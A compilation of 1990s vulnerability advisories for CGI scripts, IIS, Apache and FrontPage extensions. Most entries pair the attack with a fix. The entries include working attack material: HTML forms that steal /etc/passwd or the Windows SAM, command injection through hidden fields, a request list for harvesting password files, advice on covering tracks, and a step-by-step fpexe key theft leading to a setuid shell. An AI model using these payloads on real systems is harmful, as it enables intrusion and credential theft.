program has a buffer overflow in cgiFormEntryString() which is almost certainly exploitable.(Although it obviously depends on the program that has linked with cgic.) The fault is because he is checking if 'len =3D=3D avail' before examining = each input character, but if the character is not CR or LF then 'len' is not checked after outputting the LFs but before outputting the character. (i.e. it checks that there is 1 byte free in the buffer, but then it can sometimes place 2 bytes in the buffer before checking again.) i.e. if 'avail' is 'n' and the 'n-1'th character is LF or CR and the 'n'th character is *not* LF or CR then the character will be written at the end of the buffer (because avail =3D=3D sizeofbuffer-1), and then len =3D avail= + 1. Since he always checks for 'len =3D=3D avail' rather than 'len>=3D avail',= this means the overflow detection never kicks in,and the routine keeps copying until the end of the input. The attacker is free to copy whatever data they desire into the memory above the buffer. As an example, the cgictest program can be segfaulted by: $ REQUEST_METHOD=3DGET QUERY_STRING=3D'address=3D<240 x letter 'A'>%0A<1000=x letter 'A'>' ./cgictest Content-type: text/html cgic test Name: Address: Segmentation fault (core dumped) Oh, one other point is that the 'cgiSaferSystem' function appears to be seriously misguided. It is merely escaping the '|' and ';' characters, which is of course totally inadequate. (As an aside, I think it is safe to use Perl's quotemeta function before sending a string to a shell. It puts a backslash before all characters except [A-Za-z0-9_]. )

Name: HTTP REQUEST_METHOD flaw Date: 6 Jan 1999 Risk: could allow web server attacks to go unnoticed. Versions: Apache/1.3.3, 1.2.7, IIS 2, 3 and 4 and others?
The problem relates to "allowable" REQUEST_METHODs when a dynamic resource, such as a CGI script is requested. Essentially _any_ (except for HEAD, TRACE and OPTIONS) REQUEST_METHOD can be used - even methods not defined in the HTTP protocol. Consider the following requests which all return the requested resource. GET /cgi-bin/environ.cgi HTTP/0.9 Azx5T8uHTRuDL /cgi-bin/environ.cgi HTTP/1.0 Even Control characters are allowed. Consider the following: ^H^H^H^H^H^H^H^H^H lots of these ^H^H /cgi-bin/environ.cgi HTTP/1.1 An attacker could issue this request in an attempt to hide their movements. When this request is logged in the access log and viewed using cat or more the above will appear with the IP address removed. # cat /var/log/httpd/access_log or # more /var/log/httpd/access_log reveals - - [05/Jan/1999:18:00:00 GMT] "GET / HTTP/1.0" 200 1098 /cgi-bin/environ.cgi HTTP/1.1" 200 2034 - - [05/Jan/1999:18:01:00 GMT] "GET /index.html HTTP/1.1" 200 1098 Using a method similar to this it is possible for an attacker to make it appear as if the attack came from another IP address or completely remove the whole entry by placing certain control characters in the QUERY_STRING, too. This "hiding" works because the control characters are interpreted when piped to STDOUT and the ^H being the back space removes, from the screen at least, the IP address and date and time stamp. You could use the vi editor the view the "real" contents of the access log. Also it affects is Microsoft's Internet Information Server, but in the NT environment this is less of a problem because the log files are generally viewd in Notepad and not using the "type" command, which incidently will interpret the control characters. As I said it's only a mild problem most likely, really, to effect those that don't use a text editor to browse log files. The paranoid may want to reconsider their logging entirely.Apache's "raw" logging of the request can result in more serious problems. Consider: $ telnet http Trying Connected to Escape character is '^]'. GET / HTTP/1.0" 404 -9999999 " This results in the following (combined format) log entry: aaa.bbb.ccc.ddd - - [07/Jan/1999:14:07:41 -0500] "GET / HTTP/1.0" 404 -9999999 "" 200 751 "-" "-" In the "combined" log format, the same technique is possible with the referer and user-agent, such that you can construct completely unparseable log entries. It seems to be that newlines are the only characters you can't weasel into a request. Sending a null, by the way, results in this interesting effect: - - [07/Jan/1999:14:35:27 -0500] "y" 501 - "-" "-" (Perhaps that will be mutilated by non 8-bit mail transport.. it's the four characters ff f4 ff fd)
There is, however, a more important issue according to Marc Slemko that this same feature of allowing arbitrary methods to be passed to CGIs can result in. Many people, for some reason, insist on using the "Limit" directive whenever they configure any access restrictions. For example, they may do: <Limit GET POST> order deny,allow deny from all allow from 10.0.0 </Limit> to deny all access to hosts outside of That is incorrect. In normal situations, it doesn't always lead to much of a security risk. With many CGIs, it does. That is because many CGIs do not properly check what method they are called with and refuse requests if they don't understand the method. That means it is impossible[0] to list every method that could be used to call a script, since Apache allows for arbitrary methods to be used.

Name: CGIMail.exe Date: 1998 Versions: by Stalkerlabs for a Win32 platform. Risk: file steal Author: mnemonix
CGIMail.exe is a Web to e-mail gateway program.Basically, you fill in an on-line form and it is e-mailed off. The contents of the form, amongst other things, contains the following : <form action="/scripts/CGImail.exe" method="POST" NAME="TestForm"> <input type=hidden name="$File$" value="/scripts/template.txt"> <input type=hidden name="$Subject$" value="CGImail Example"> <input type=hidden name="$LocationOK$" value="/ok.html"> <input type=hidden name="$LocationKO$" value="/ko.html"> <input type=hidden name="$To$" value=""> <input type=hidden name="$Optional$" value="mmmh, no!"> There is also another possible "hidden" input type and this takes the following shape: <input type=hidden name="$Attach$" value=""> This allows you to attach a file to the e-mail - any file the IUSR_COMPUTERNAME account has access to. So if the NT server is poorly configured as far as security is concerned you could put in "c:\winnt\repair\sam._" as the input's value: <input type=hidden name="$Attach$" value="c:\winnt\repair\sam._"> Note - Using %windir% won't work - you need the full path. So here's how the hack would go : You go to their form page and view the source. Save this source to the desktop and make some editions to it, like put your e-mail address in (use a temporary one!) and put the $Attach$ entry in. Save these changes and then load the new page and click on send. All things going well you should receive a compressed copy of their SAM which you can then get to work on, using l0phtcrack to glean the passwords. CGIMail can be made more secure: the cgimail.ini can be edited so that only certain referrers are accepted but only around 50% of the machines I've seen with this on have configured it so.

Name: Unauthorized ODBC Access via RDS and IIS Date: 1998 Versions: IIS 4.0, MS Remote Data Services v1.5, MS Visual Studio v6.0 Risk: Unauthorized ODBC Access via RDS and IIS
According to the notice issued by Microsoft, "a web client connecting to an IIS server can use the RDS DataFactory object (installed with NT Option Pack) to direct that server to access data using an installed OLE DB provider. This includes executing SQL calls to ODBC-compliant databases using the ODBC drivers installed on the server." EXAMPLE "A web-client could issue a SQL command along with the name or IP address of a remote SQL server, a SQL account and password, database name, and a SQL query string. If the request is valid (remote server is reachable by the IIS server, user account and password are correct, database name is valid), the query results will be sent via HTTP back to the client. While it is true that this requires significant inside information, the potential accessibility of this information should not be underestimated..." The problem is compounded by using other software, such as Microsoft DataShape Provider and Microsoft JET OLE DB provider (included with MDAC 2.0 in Visual Studio 98) because they allow shell commands to be executed -- we're certain you get this gist of this implication... SOLUTION Consider disabling the implicit remoting functionality in the DataFactory object -- it's dangerous. To do so, remove the following Registry keys: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services \W3SVC\Parameters\ADCLaunch\RDSServer.DataFactory HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\ Parameters\ADCLaunch\AdvancedDataFactory HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\ Parameters\ADCLaunch\VbBusObj.VbBusObjCls Additionally, the NT Resource Kit includes the utility DELREG.EXE which can be used to remove the above mentioned keys. Reference Microsoft's Knowledge Base article Q184375, for security implications of RDS 1.5, IIS 4.0, and ODBC.

Name: newdsn.exe & getdrvrs.exe Date: 1998 Versions: Internet Information Server 3.0 Risk: default scripts can bring hack Source: mnemonix
When IIS is installed it will create a tools sub-directory off of the /scripts directory. It will place a number or related .exes in here that are used for creating ODBC datasources for online databases. These executables leave cause two security concerns. The first is that using these .exes a remote attacker can create a file with any extention in any directory that the anonymous internet account has NTFS write permissions to. If FAT is in use then they can write to anywhere. The exe that creates the file is actually dsnform.exe. Lets say they had write access to any of your directories with the "execute" permission. If they knew the real path to this directory they can create a file with a .exe extention - eg run.exe. Assuming they have write permissions to your scripts directory they would enter the following URLs: From here they would choose the *.mdb option and be taken to:*.mdb) Here they would enter a datasource name to create (can be anything you want)and then specifies the database name. This is where the attacker would enter something like c:\inetpub\scripts\run.exe. They then click on create datasource (making sure that "Create new database with this name" is checked). They should be taken to the following: driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=sdsd&dbq=hmm.mdb&newdb=CREATE_DB&attr= After they had created run.exe they enter the following URL: Because run.exe is not a real executable and is infact an mdb file with a .exe extention it has problems executing. Create the file and run it from a command prompt. You'll see invalid CPU calls and it will ask you to "Terminate" or "Ignore". What actually happens is NT tries running it and thinks it's a 16-bit program so will launch an NTVDM (NT's Virtual DOS machine -for running 16-bit apps). Now if this is run via the web because it is non-interactive with the desktop you don't get the prompt to terminate or ignore - the NTVDM just hangs. If this attacker now refreshes his page a number of times you'll soon start to eat into your virtual memory - a new NTVDM is loaded each time. By the way - this invalid CPU call is actually an NTVDM buffer overflow - there is no known way to execute arbitary code with it - you'll need to inject your assembly code into the run.exe mdb file and this can't be done from across the web without having some other means to do this. This is a simple denial of service. The other problems with this set of executables is that existing datasources can be modifed if the database file name is known - instead of choosing "Create new database with this name" choose "This is an existing Access database". This will re-write the ODBC database making it now inaccessible - another Denial of service attack. driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=Evil+samples+from+microsoft &dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb=CREATE_DB&attr= will create file evil.html in wwwroot directory. evil.html in fact is a Microsoft Access Database. Solution: delete newdsn.exe :)

Name: Index Server Exploit Date: 1998 Versions: Internet Information Server 3.0 (Index Server Exploit) Risk: default scripts can bring hack
If the system administrator has left the default sample files on the Internet Information server, a hacker would have the opportunity of narrowing down their search for a username and password. A simple query of a popular search engine shows about four hundred websites that have barely modified versions of the sample files still installed and available. This file is called queryhit.htm. Many webmasters have neglected to modify the search fields to only search certain directories and avoid the script directories. Once one of these sites is located a search performed can easily narrow down the files a hacker would need to find a username and password. Using the sample search page it is easy to specify only files that have the word password in them and are script files (.asp or .idc files, cold fusion scripts, even .pl files are good). The URL the hacker would try is http://servername/samples/search/queryhit.htm then the hacker would search with something like "#filename=*.asp" When the results are returned not only can one link to the files but also can look at the "hits" by clicking the view hits link that uses the webhits program. This program bypasses the security set by IIS on script files and allows the source to be displayed. Even if the original samples are not installed or have been removed a hole is still available to read the script source. If the server has Service Pack 2 fully installed (including Index Server) they will also have webhits.exe located in the path http://servername/scripts/samples/search/webhits.exe This URL can preface another URL on that server and display the contents of the script. To protect your server from this problem remove the webhits.exe file from the server, or at least from it's default directory. I also recommend that you customize your server search pages and scripts (.idq files) to make sure they only search what you want - such as plain .HTM or .HTML files. Index Server is a wonderful product but be sure you have configured it properly.

Name: Executable Directories in IIS 4 Date: August 31, 1998 Versions: Internet Information Server 4.0 Risk: If a non-administrative user can place executable code into a web site directory which allows file execution, the user may be able to run applications which could compromise the web server.
The following directories are marked executable by default on an install of IIS 4.0: /W3SVC/1/ROOT/msadc /W3SVC/1/ROOT/News /W3SVC/1/ROOT/Mail /W3SVC/1/ROOT/cgi-bin /W3SVC/1/ROOT/SCRIPTS /W3SVC/1/ROOT/IISADMPWD /W3SVC/1/ROOT/_vti_bin /W3SVC/1/ROOT/_vti_bin/_vti_adm /W3SVC/1/ROOT/_vti_bin/_vti_aut In a default install, the physical drive mappings will be: msadc c:\program files\common\system\msadc News c:\InetPub\News Mail c:\InetPub\Mail cgi-bin c:\InetPub\wwwroot\cgi-bin SCRIPTS c:\InetPub\scripts IISADMPWD C:\WINNT\System32\inetsrv\iisadmpwd _vti_bin Not present by default - installed with FrontPage extensions Access to the physical directories can be obtained through drive sharing, remote command shells (e.g., rcmd, telnet, remote.exe), HTTP PUT commands, or FrontPage. None of these methods are available in a default install, but are often added by administrators. The default NTFS permissions are overly permissive, and allow change control (RWXD) to the Everyone group by default, with the exception of msadc which is full control to Everyone. Due to the sensitive nature of these directories, it is recommended that NTFS access permissions should be: Administrators, LocalSystem: Full Control Everyone: Special Access(X) Recommended Action: Administrators should verify access permissions on all virtual HTTP server directories that are marked executable. See below for recommended permissions. All security patches that protect against local attacks should be applied to HTTP servers due to the possibility of the server executing code locally. See for details.

Name: Microsoft Frontpage Date: 10 july 1998 Versions: Microsoft FrontPage Extensions, versions 1.0-1.1 Risk: unauthorized users can vandalize authorized users' files by appending to them or overwriting.On a system with server-side includes enabled, remote users may be able to exploit this bug to execute commands on the server. Distro: Source: The MH DeskReference 1.2 by Rhino9
The server extensions are installed server side to provide added functionality for frontpage web authors. These extensions function as "web bots" if you will, giving web authors that use frontpage easy access to complex web and HTML functions. The hacces.ctl file can give you a lot of information, including the location of the service password file. A complete example: # -FrontPage- Options None <Limit GET POST PUT> order deny,allow deny from all AuthName default_realm AuthUserFile c:/frontpage\ webs/content/_vti_pvt/service.pwd AuthGroupFile c:/frontpage\ webs/content/_vti_pvt/service.grp a list of the Internet Information server files location in relation to the local hard drive (C:) and the web ( C:\InetPub\wwwroot <Home> C:\InetPub\scripts /Scripts C:\InetPub\ftproot default for ftp C:\InetPub\wwwroot\_vti_bin /_vti_bin C:\InetPub\wwwroot\_vti_bin\_vti_adm /_vti_bin/_vti_adm C:\InetPub\wwwroot\_vti_bin\_vti_aut /_vti_bin/_vti_aut C:\InetPub\cgi-bin /cgi-bin C:\InetPub\wwwroot\srchadm /srchadm C:\WINNT\System32\inetserv\iisadmin /iisadmin C:\InetPub\wwwroot\_vti_pvt FrontPage creates a directory _vti_pvt for the root web and for each FrontPage sub-web. For each FrontPage web with unique permissions, the _vti_pvt directory contains two files for the FrontPage web that the access file points to: service.pwd - contains the list of users and passwords for the FrontPage web. service.grp - contains the list of groups (one group for authors and one for administrators in FrontPage). On Netscape servers, there are no service.grp files. The Netscape password files are: administrators.pwd for administrators authors.pwd for authors and administrators users.pwd for users, authors, and administrators C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM - Internet Information Index Server sample If Index Information Server is running under IIS, service.pwd (or any other file) can sometimes be retrieved. Search for "#filename=*.pwd" FP extensions are fundamentally stupid in nearly all respects of implementation. Firsly, they maintain a crapload of meta files (one shadow for every file managed) then they have all of their config info in a bunch of text files in the _vti_pvt directory. (Oh,BTW, there exists a very HUGE privacy hole in the FP extenstions). If you go to a site that has FP extensions, just pick any directory in the URL, yank the filename off, and put "_vti_cnf" there instead... you'll get a complete listing of all the files in the real directory. With this you can snatch files that weren't meant to be seen by the public...and it's available on ALL FP enabled sites. Frontpage 98 fucks up the permissions so bad that it makes the _vti_pvt directory WORLD WRITABLE!!! No shit, you can do whatever you want to stuff in that directory. Scanning PORT 80 (http) or 443 (https) options: GET /__vti_inf.html #Ensures that frontpage server extensions are installed. GET /_vti_pvt/service.pwd #Contains the encrypted password files. Not used on IIS and WebSite servers GET /_vti_pvt/authors.pwd # On Netscape servers only. Encrypted names and passwords of authors. GET /_vti_pvt/administrators.pwd GET /_vti_log/author.log #If author.log is there it will need to be cleaned to cover your tracks GET /samples/search/queryhit.htm If service.pwd is obtained it will look similar to this: Vacuum:SGXJVl6OJ9zkE Turn it into DES format: Vacuum:SGXJVl6OJ9zkE:10:200:Vacuum:/users/Vacuum:/bin/bash

Name: M$ FP extensions to Apache under UNIX. Risk: remote root Versions: Microsoft Frontpage 98 server extensions for Apache only Date: 22 October 1997 Found: Marc Slemko Details:
You want a rogue program to run, and the victim has anonymous uploadable FTP (or you sign up for a service and you want to run binaries on the server, but can't): mkdir _vti_bin cd _vti_bin put [whatever bin] Web browser: Boom you've got stuff runnin on that server. They configure the Netscape server the same way. Unless you make a special NSAPI or Apache module, you're vulnerable as a freshly born ewe of a cloned sheep named Dolly! And why is this possible??? ScriptAlias "*/_vti_bin/*" /somedirpath <Object ppath="*/_vti_bin/*"> ... </Object> Solution: Custom NSAPI / Apache module: NameTrans fn="prefix_fpdir" prefix_path="/somedir/cgi-bin/frontpage" name="cgi" Custom Stub: /somedir/cgi-bin/frontpage/cgi-wrapper [path to real binary]
Microsoft's FrontPage 98 server side extensions for Apache under Unix include a small setuid root program (fpexe) to allow the FrontPage CGIs to be run as the user who owns the pages as opposed to them all running as the user the web server runs as. This is necessary to get around gaping loopholes that occur when all FrontPage documents are owned by the user the web server runs as. Before you can understand the holes in the FP server extensions, you need to understand what I mean when I talk about the "key". When the Frontpage-modified Apache server starts up, it generates a pseudo-random string of 128 ASCII characters as a key. This key is written to a file that is only readable by the user that starts Apache; normally root. The server than passes the key to fpexe. Since fpexe is setuid root, it can compare the key stored on disk with the one it was passed to be sure they match; if not, it refuses to run. This is used in an attempt to guarantee that the only thing calling fpexe is the web server. Used properly this is a powerful part of possible security precautions. I am not convinced that the generation of the key is cryptographically adequate and it may be subject to intelligent guessing attacks, however I have not looked at it to see. As discussed later, the cryptographical robustness of the key doesn't really matter. There are a number of problems with the setuid root fpexe program. I am not attempting a complete description of all the problems and their possible consequences and fixes, just making a light sweep over the top. The more obvious problems include: Return codes from library calls are not properly checked. An example: f = fopen( buf, "r"); fgets( key, 129, f ); fclose(f); If fopen() failed (easy to make it do so with ulimit -n), then if your system did not core dump on a fgets() on a closed descriptor you would end up with an empty key. It is obviously easy to guess an empty key. I am not aware of any systems that exhibit this exact problem, but it is possible. Return codes need to be checked, especially in setuid programs. Proper bounds checking is not done. This leads to obvious buffer overflows. An example: strcpy( work, FPDIR ); strcat( work, getenv("FPEXE") ); I won't go into the details of what this does, but if you could cause this code to be executed, you could insert your own code on most systems and likely gain access to the UID the program is running as (root). This proves to be an unnecessary effort to go to, because this code is only executed if you have the correct key; if you have the correct key,there are far easier ways to gain access. Buffer overflows are one of the most popular (albeit normally boring) types of new holes in programs being publicized. It does not clean the environment variables before starting the CGI. Again, this means you can gain access to the UID that the program runs as (not root). If the rest of the program was securely written, this could possibly be an issue however it is of little consequence currently due to the gaping holes in other areas. It assumes that if you have the key, then you are authorized to have it run any program as nearly any user you tell it to. The process you are running also needs to be in the same process group as the web server; all CGIs run by the server, however, are in the same process group so if you can run a CGI script you can work around the second check. It does no further checks to be sure you are running as a user that should be allowed to run FrontPage CGIs (other than disallowing UID 0; the compiled version also disallows gid 0, however the source version doesn't) or that you are running a Frontpage related program. This means that if you get the key file, you can gain access to any non-root UID on the server. On 99% of boxes, that will give you root. For example, if binaries are owned by bin then become bin and replace one that is run by root from cron. The possibilities are endless once you obtain this level of access. And, finally, the worst: it passes the key to fpexe via an environment variable! On most systems, environment variables are available via "ps -e". This means that anyone with access to run programs on the system (and there are often more people than you think that are able to do this, due to things such as CGIs) can see it as it is being passed from the web server to fpexe. Recall that once you have the key, there is little remaining before you can get full access to the system. Demonstration of an exploit I.First I have to find the key. This can be done by using ps to get the environment from fpexe. To do this, I first setup a loop running (this assumes a real aka. Bourne shell; if you use the bastard C-shell it obviously won't work as written): while true; do ps axuwwe -U nobody | grep FPKEY; done II.Then I used ZeusBench, a very simple HTTP benchmark program, to generate load on the server: zb localhost /fp/_vti_bin/shtml.exe -c 50 -t 30 Any method of generating traffic could be used, including a web browser. Since I am using a very inefficient method of looking for a process, I need to generate lots of traffic to increase my chance of finding one. It certainly isn't likely to happen on the first request. The requests do have to be made to a FP CGI script so it will call fpexe. III.Before long, I had what I wanted from ps (manually wrapped): nobody 28008 0.0 0.2 180 76 ?? DN 6:51PM 0:00.01 SCRIPT_URL=/fp/ SCRIPT_URI=http://localhost/fp/ FPUID=1000 FPGID=1000 FPEXE=/_vti_bin/shtml.exe FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E77 3FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CD F760364E59 HTTP_USER_AGENT=ZeusBench/1.0 HTTP_ACCEPT=*/* PATH=/sbin:/usr/sbin:/bin:/usr/local/bin:/usr/bin:/usr/local/sbin/ SERVER_SOFTWARE=Apache/1.2.5-dev SERVER_NAME=localhost SERVER_PORT=80 REMOTE_HOST=localhost REMOTE_ADDR= DOCUMENT_ROOT=/usr/local/etc/httpd/htdocs SCRIPT_FILENAME=/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe REMOTE_PORT=2849 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0 REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/fp/_vti_bin/shtml.exe SCRIPT_NAME=/fp/_vti_bin/shtml.exe fpexe IV.Then I need to use the key to make fpexe think I am the web server. I can't just run this from a normal shell, since I need to be in the same process group as the web server. A simple CGI suffices: #!/bin/sh echo Content-type: text/plain echo export FPUID=3; export FPGID=3; export FPEXE=../../../../../../../../tmp/gotcha; export FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E773FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CDF760364E59 /usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe 2>&1 V.I need a program for it to run (/tmp/gotcha in this example): #!/bin/sh /usr/bin/id cp /bin/sh /tmp/.mysh chmod u+s /tmp/.mysh VI.Then I simply make a HTTP request for the CGI script. I can then run /tmp/.mysh at my leisure to gain access to UID 3 (bin on my system) and do what I want from there. Fixes The Apache web server has a suEXEC wrapper designed to allow for a similar thing; that is, execution of CGI scripts under a user's own UID. It is very restrictive (some would say anal) about what it allows: there is a reason for that, as Microsoft's obviously failed attempt at security shows. It is possible that suEXEC could be adapted to function in conjunction with FrontPage, however it will not work without source modifications. One short term workaround until Microsoft addresses the issue is to simply remove the FrontPage setup from your system. This can be done temporarily by removing the setuid bit from fpexe (ie. chmod u-s fpexe). This will prevent all the pretty FrontPage CGIs from working. It will prevent people from uploading new pages using FrontPage's own methods (ie. they can tell FrontPage to use FTP and they will still be uploaded), but generic content that doesn't rely on FrontPage's server side CGI scripts should work fine. Another possible workaround is to prevent users from running the ps command. This could have a very negative impact on your system if things depend on it, and is a poor solution however it may be the best one for you. On systems that don't use a procfs (/proc) based ps, you can normally simply remove world execute permissions from it to disable it. If you are on a system like Linux that normally uses a procfs for ps to get information, this doesn't solve the problem because someone can read from the procfs directly. Last of all, since this problem only occurs when using FrontPage with the mod_frontpage extensions, it is possible to use the FrontPage extensions on Apache without using mod_frontpage or fpexe. Unfortunately, this conversion is not easy. It means that, after recompiling Apache without any of the Microsoft modifications (just commenting out mod_frontpage from the Configuration file may be enough; haven't checked) you have to either manually copy the FrontPage CGIs to the appropriate subdirectory under each user's web directory and make them setuid to that user or copy them (or make links) and don't make them setuid to that user. The former preserves the current ownership. With the latter all the user's web files will need to be changed back to being owned by the user the web server runs as or else they will be unable to manipulate them and some of the FP CGIs won't run correctly. This is a pain and brings you back to the horrible security practice of letting anyone who can run CGIs modify any FrontPage user's files. Although this may be the best temporary workaround (although quite annoying if you have a large number of users), I can not go into step by step details of how to accomplish this change because I am not fully familiar with various ways of using the FrontPage extensions. The Microsoft FP security consi- derations document (part of the FP98 Server Extensions Resource Kit) provides some more details of the method in which the CGIs are run without fpexe. On a side note, Microsoft actually modifies the server name returned to clients when the FrontPage patches are installed in Apache to include "FrontPage/x.x.x". That is fine, however it gives anyone connecting to your server the ability to determine the chances of them being able to break into your system using holes in the FP extentions.

Name: BNBForm (bnbform.cgi) Risk: remote users can read arbitrary files on the filesystem. Date: December 3, 1998 Found: duke ( - Distro:
The problem is that this form sends a responding email to users with the contents of any file contained in the 'automessage' variable. This can be used to specify any file that is readable by the uid of the webserver. There is also a security mechanism in place to prevent you from running this cgi script off of forms on other servers, using a $SECURE_NAME variable, but this is easily bypassable by copying the "submit_to" field off of the intended form onto your malicious form. This mechanism is disabled by default. <FORM METHOD="POST" ACTION=""> FIELDS MARKED WITH * ARE REQUIRED! Your Name:* <INPUT TYPE="TEXT" NAME="name" SIZE=35 MAXLENGTH=50> <!-- SCRIPT CONFIGURATION SECTION --> <INPUT TYPE="HIDDEN" NAME="autorespond" VALUE="yes"> <INPUT TYPE="HIDDEN" NAME="automessage" VALUE="/etc/passwd"> <INPUT TYPE="HIDDEN" NAME="ok_url" VALUE=""> <INPUT TYPE="HIDDEN" NAME="not_ok_url" VALUE="">

Name: BNBSurvey (survey.cgi) Risk: remote users can execute commands with web server privs Date: December 3, 1998 Found: duke ( - Distro:
BNBSurvey is a CGI for doing simple surveys. This script has 2 modes of operation - the first being that people can vote as many times as they like, and the second being that the people can only vote once every hour. The first operation is the default. If this second mode of operation is enabled though, remote users can use metacharacters in the 'filebase' variable to execute arbitrary commands. (ie. if $ENFORCEMENT = "1" is set in the cgi script). <FORM METHOD="POST" ACTION=""> <input type=hidden name=action value="VOTE"> <input type=hidden name=filebase value="bleh; /bin/mail <PRE> Your Gender <input type=radio name=ITEM1 value="0">Male <input type=radio name=ITEM1 value="1">Female <input type=radio name=ITEM1 value="2">Neuter <INPUT TYPE="submit" VALUE="VOTE!">

Name: Classifieds (classifieds.cgi) Risk: remote users can execute commands with web server privs Date: December 15, 1998 Distro:
Classifieds by Greg Mathews is a free cgi script for handling classified ads. There are multiple security holes in this that allow remote execution. Firstly, by setting your email address as something like "</etc/passwd" you can read files remotely off the server. Also, by setting the hidden variables on a html form a remote user can force arbitary commands to be executed. One example of this is modifying the following variable: <input type="hidden" name="mailprog" value="/usr/sbin/sendmail"> Changing its value to another command will cause that alternate command to be executed. For a remote server, copy their path hidden fields or it will not get up to the vulnerable code. This just executes "touch /tmp/bighole". Modify it to suit your needs.. <form method=post action="/cgi-bin/classifieds.cgi"> <input type="hidden" name="ClassifiedsDir" value="/home/httpd/html/class/ads/"> <input type="hidden" name="ViewDir" value=""> <input type="hidden" name="ErrorReturn" value=""> <input type="hidden" name="ReturnURL" value=""> <input type="hidden" name="return" value=""> <input type="hidden" name="mailprog" value="touch /tmp/bighole"> <b>Which department do you want your ad to be placed in or you would like to view? </form>

Name: ASP bugs Risk: allows remote file listing/downloading/source viewing Versions: IIS x.x,PWS also Windows95/NT Date: July 1, 1998 Distro:
Internet Information Server (IIS) may reveal Active Server Pages (ASP) code in situations where the URL path contains a period in part of the extended URL. For example, a URL such as would display the code within hello.asp instead of executing it -- apparently the "new.products" portion of the URL causes the problem. The problem occurs consistantly on FAT partitions and only happens on NTFS partitions where the Everyone group has read access, or IUSR_MACHINENAME has read access. First bug: reading of .asp, .ht., .id, .PL Feb 27 1997 This hot-fix solved the trailing '.' problem but opened up a new hole which allows the same results - viewing the .asp file instead of executing it. This is accomplished by replacing the '.' in the filename part of a URL with a '%2e', the hex value for '.': A problem was discovered that affects Microsoft IIS. Web clients can read the contents of any NTFS file in an IIS directory to which they have been granted "read access" including Active Server Pages scripts The main data stream, which stores the primary content has an attribute called $DATA. Accessing this NTFS stream via IIS from a browser may display the contents of a file that is normally set to be acted upon by an Application Mapping. The problem does not allow the user to modify the script or to execute arbitrary code. The ACLs on the file must allow the user read access The file must reside on an NTFS partition To test for the vulnerability on your systems, choose a URL with an .ASP extension and append the string "::$DATA".$DATA obtain domain users password via asp server variable 12 Aug 1998 With basic authentication on IIS, one can obtain password of users accessing the ASP page via the server variable AUTH_PASSWORD. The line <%= Request.ServerVariables("AUTH_PASSWORD") %> in an asp file will do the trick. With this, web page authors/content providers (probably not the same person who administers the web server and NT domain) can easily trap password of other domain users. Hotfixes are ready

Name: httpd (Windows NT/95 IIS) bugs Risk: allows remote file listing/downloading/source viewing Versions: IIS 1.0,2.0,3.0,4.0, the PWS also Author: Mnemonix ( Distro:
New Perl.exe, IIS exploit 13 Jul 1998 All versions of Internet Information Server seem to have a feature that can cause security problems when it has been configured to run Perl scripts to produce dynamic web pages, although really it is a combination of IIS and the Perl command interpreter (Perl.exe) acting together that can cause this hole. Basically the security implications of this problem is that data can be read from execute only virtual directories sometimes leading to the discovery of UserIDs and passwords. Script extentions (in this case .cgi or .pl) are mapped against the interpreter in the registry under the following key: HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ScriptMap When the web service receives a request from a browser it checks the extention of the file requested and deals with it accordingly. In this case if a .pl or .cgi file is requested IIS checks the registry to see what interpreter should deal with that kind of file and then passes the requested information to the interpreter, perl.exe. This is the "fault" of IIS : that it does not check to see whether the file actually exists or not; it just blindly passes the information to the interpreter. IIS leaves this responsibilty to the interpreter. The second part of this problem is caused by the interpreter: perl.exe. Perl will open and try to execute any file that actually exists as long as it has the extention .pl (if that is the registered extention) Consequently if a space (%20) and .pl is appended to the end of a URL Internet Information Server will pass the request to perl.exe which will then open the file and try to execute it: To demonstrate how this could be a problem: Some CGI scripts often require a .txt file that contains a userID and password such as wwwboard.cgi. Create a text file with two lines. On the first line type "Webadmin" and on the secondline type "Password". Like so: Webadmin Password And name the file pass.txt the request the following URL: You should receive a response similar to : Can't call method "webadmin" in empty package "password" at C:\InetPub\scripts\pass.txt line 1 You can also glean information from other "sensitive" files such as .asp or .idc You could even run old perl scripts that are still in the /scripts directory but have had their extention changed: This problem is exacerbated by the fact that perl.exe will accept willcards such as * and ? so you don't even need to know that name of a file. You can request :* and perl.exe will open the first text file in the scripts directory that it comes across. The solution to this problem is to use the ISAPI interpreter instead: PerlIS.dll. This leads to better performance anyway as the script is run in the same memory space as IIS and only one instance of it ever needs to be loaded into memory unlike perl.exe where for each script requested a new instance of perl.exe is loaded into its own memory space. Windows NT running IIS httpd prior to 1.0c .. .Old The IIS Web Publishing Service is not chrooted. Any file on a intel WindowsNT box running IIS can be downloaded, as long as the files you want to download are on the same partition as the IIS root directory. You enter the URL and a directory below the IIS root directory. Any directory will do, as long as it is a subdirectory to the IIS root. Most of the IIS installations have the directory scripts or images so it isn't to hard to find a suitable directory. Then you just ".." your way up in the directory structure.

Name: test-cgi and nph-test-cgi (POPULAR!) Risk: allows arbitrary remote file listing Versions: Majority of UNIX based Internet World Wide Web servers come with this CGI script installed by default. They are NCSA HTTP 1.3, 1.4, 1.4.1, 1.4.2, 1.5.1, 1.5.2, 1,5.2a and Apache/0.8.11, 0.8.14, 1.0.x, 1.1.0, 1.1.3, 1.2.x, 1.3.x Distro: see original source of test-cgi
